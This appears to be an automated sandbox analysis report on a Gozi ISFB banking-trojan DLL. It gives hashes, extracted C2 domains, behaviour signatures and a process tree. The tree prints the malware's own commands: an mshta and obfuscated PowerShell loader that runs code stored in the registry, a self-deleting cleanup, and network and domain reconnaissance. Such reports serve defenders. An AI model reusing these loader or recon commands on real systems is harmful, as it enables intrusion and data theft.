Resubmissions

23/03/2022, 11:22

220323-ngp6zahdal 10

24/01/2022, 10:09

220124-l6sx2sebc2 10

Analysis

  • max time kernel
    151s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 10:09

General

  • Target

    61ee6edf7de65.dll

  • Size

    95KB

  • MD5

    b6f0fc5638a110abac1a54805f77e786

  • SHA1

    f7eff5f67b1b794759ec0ba9b0d6a3bd5cd59bfe

  • SHA256

    06e26611fe5cf2fb04cfa894f9cb24edc0ab8306cf42c979b2c776372d07d1cf

  • SHA512

    b92f671821476bb041bd96a38b1ff300365d12d2fb6bec6266cfbd0f7613a3551807ddc3887ebee13911843322c3274af2a65ca1c38291b45506b433cccd15a8

Malware Config

Extracted

Family

gozi_ifsb

Botnet

20000

C2

giporedtrip.at

habpfans.at

Attributes
  • base_path

    /drew/

  • build

    260224

  • exe_type

    loader

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi_ifsb

Botnet

20000

C2

giporedtrip.at

habpfans.at

Attributes
  • base_path

    /images/

  • build

    260224

  • exe_type

    worker

  • extension

    .jlk

  • server_id

    50

rsa_pubkey.plain
aes.plain
rsa_pubkey.plain

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 3 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Discovers systems in the same network 1 TTPs 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3492
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3020
      • C:\Windows\system32\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll,#1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3804
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll,#1
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          PID:3140
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Luo9='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Luo9).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\EC96820B-5BA5-FE9A-45E0-BF1249146366\\\PictureSettings'));if(!window.flag)close()</script>"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name vawdrha -value gp; new-alias -name yhwgucfiht -value iex; yhwgucfiht ([System.Text.Encoding]::ASCII.GetString((vawdrha "HKCU:Software\AppDataLow\Software\Microsoft\EC96820B-5BA5-FE9A-45E0-BF1249146366").ClassComputer))
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3008
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jvwlcj2l\jvwlcj2l.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1224
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC0BC.tmp" "c:\Users\Admin\AppData\Local\Temp\jvwlcj2l\CSC2A5D04B931C94D14B25922087C28C88.TMP"
              5⤵
                PID:692
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\13c1wxhm\13c1wxhm.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4028
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC1D5.tmp" "c:\Users\Admin\AppData\Local\Temp\13c1wxhm\CSC393C66B810BE4D87BEC6A12440B7368.TMP"
                5⤵
                  PID:1252
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\61ee6edf7de65.dll"
            2⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:2304
            • C:\Windows\system32\PING.EXE
              ping localhost -n 5
              3⤵
              • Runs ping.exe
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              PID:1928
          • C:\Windows\system32\cmd.exe
            cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\B9E4.bi1"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3260
            • C:\Windows\system32\nslookup.exe
              nslookup myip.opendns.com resolver1.opendns.com
              3⤵
                PID:2816
            • C:\Windows\system32\cmd.exe
              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B9E4.bi1"
              2⤵
                PID:2892
              • C:\Windows\system32\cmd.exe
                cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Windows\system32\systeminfo.exe
                  systeminfo.exe
                  3⤵
                  • Gathers system information
                  PID:1972
              • C:\Program Files\Windows Mail\WinMail.exe
                "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
                2⤵
                  PID:1576
                • C:\Windows\syswow64\cmd.exe
                  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                  2⤵
                    PID:3204
                  • C:\Windows\system32\cmd.exe
                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                    2⤵
                      PID:1748
                    • C:\Windows\system32\cmd.exe
                      cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:756
                      • C:\Windows\system32\net.exe
                        net view
                        3⤵
                        • Discovers systems in the same network
                        PID:1424
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                      2⤵
                        PID:1792
                      • C:\Windows\system32\cmd.exe
                        cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2676
                        • C:\Windows\system32\nslookup.exe
                          nslookup 127.0.0.1
                          3⤵
                            PID:436
                        • C:\Windows\system32\cmd.exe
                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                          2⤵
                            PID:2144
                          • C:\Windows\system32\cmd.exe
                            cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                            2⤵
                              PID:2460
                              • C:\Windows\system32\tasklist.exe
                                tasklist.exe /SVC
                                3⤵
                                • Enumerates processes with tasklist
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2124
                            • C:\Windows\system32\cmd.exe
                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                              2⤵
                                PID:1732
                              • C:\Windows\system32\cmd.exe
                                cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                2⤵
                                  PID:1576
                                  • C:\Windows\system32\driverquery.exe
                                    driverquery.exe
                                    3⤵
                                      PID:708
                                  • C:\Windows\system32\cmd.exe
                                    cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                    2⤵
                                      PID:2244
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                      2⤵
                                        PID:4016
                                        • C:\Windows\system32\reg.exe
                                          reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                          3⤵
                                            PID:2624
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                          2⤵
                                            PID:2172
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                            2⤵
                                              PID:2700
                                              • C:\Windows\system32\net.exe
                                                net config workstation
                                                3⤵
                                                  PID:1908
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 config workstation
                                                    4⤵
                                                      PID:2272
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                  2⤵
                                                    PID:3992
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                    2⤵
                                                      PID:872
                                                      • C:\Windows\system32\nltest.exe
                                                        nltest /domain_trusts
                                                        3⤵
                                                          PID:3696
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                        2⤵
                                                          PID:1076
                                                        • C:\Windows\system32\cmd.exe
                                                          cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                          2⤵
                                                            PID:1744
                                                            • C:\Windows\system32\nltest.exe
                                                              nltest /domain_trusts /all_trusts
                                                              3⤵
                                                                PID:1692
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                              2⤵
                                                                PID:1928
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                                2⤵
                                                                  PID:912
                                                                  • C:\Windows\system32\net.exe
                                                                    net view /all /domain
                                                                    3⤵
                                                                    • Discovers systems in the same network
                                                                    PID:1256
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                                  2⤵
                                                                    PID:1972
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                                    2⤵
                                                                      PID:2316
                                                                      • C:\Windows\system32\net.exe
                                                                        net view /all
                                                                        3⤵
                                                                        • Discovers systems in the same network
                                                                        PID:2352
                                                                    • C:\Windows\system32\cmd.exe
                                                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                                      2⤵
                                                                        PID:3048
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\2039.bin1 > C:\Users\Admin\AppData\Local\Temp\2039.bin & del C:\Users\Admin\AppData\Local\Temp\2039.bin1"
                                                                        2⤵
                                                                          PID:2240

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/1576-185-0x00000203DDAB0000-0x00000203DDB68000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1928-180-0x000002A49D460000-0x000002A49D518000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/1928-179-0x000002A49D2C0000-0x000002A49D2C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2304-174-0x00000183CCB20000-0x00000183CCBD8000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/2304-173-0x00000183CC8E0000-0x00000183CC8E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/3008-157-0x0000014DF4380000-0x0000014DF4388000-memory.dmp

                                                                              Filesize

                                                                              32KB

                                                                            • memory/3008-126-0x0000014DF37B0000-0x0000014DF37D2000-memory.dmp

                                                                              Filesize

                                                                              136KB

                                                                            • memory/3008-162-0x0000014DF4390000-0x0000014DF43D4000-memory.dmp

                                                                              Filesize

                                                                              272KB

                                                                            • memory/3008-151-0x0000014DF4360000-0x0000014DF4368000-memory.dmp

                                                                              Filesize

                                                                              32KB

                                                                            • memory/3008-133-0x0000014DF43E0000-0x0000014DF4456000-memory.dmp

                                                                              Filesize

                                                                              472KB

                                                                            • memory/3008-132-0x0000014DF3803000-0x0000014DF3805000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/3008-131-0x0000014DF3800000-0x0000014DF3802000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/3020-176-0x0000000000A00000-0x0000000000AB8000-memory.dmp

                                                                              Filesize

                                                                              736KB

                                                                            • memory/3020-175-0x0000000000800000-0x0000000000801000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/3140-115-0x00000000049C0000-0x00000000049D0000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/3140-116-0x0000000074160000-0x000000007417C000-memory.dmp

                                                                              Filesize

                                                                              112KB

                                                                            • memory/3204-201-0x00000000007E0000-0x000000000088A000-memory.dmp

                                                                              Filesize

                                                                              680KB

                                                                            • memory/3204-190-0x0000000000EA6CD0-0x0000000000EA6CD4-memory.dmp

                                                                              Filesize

                                                                              4B

                                                                            • memory/3492-177-0x000001B160720000-0x000001B160721000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/3492-178-0x000001B1622A0000-0x000001B162358000-memory.dmp

                                                                              Filesize

                                                                              736KB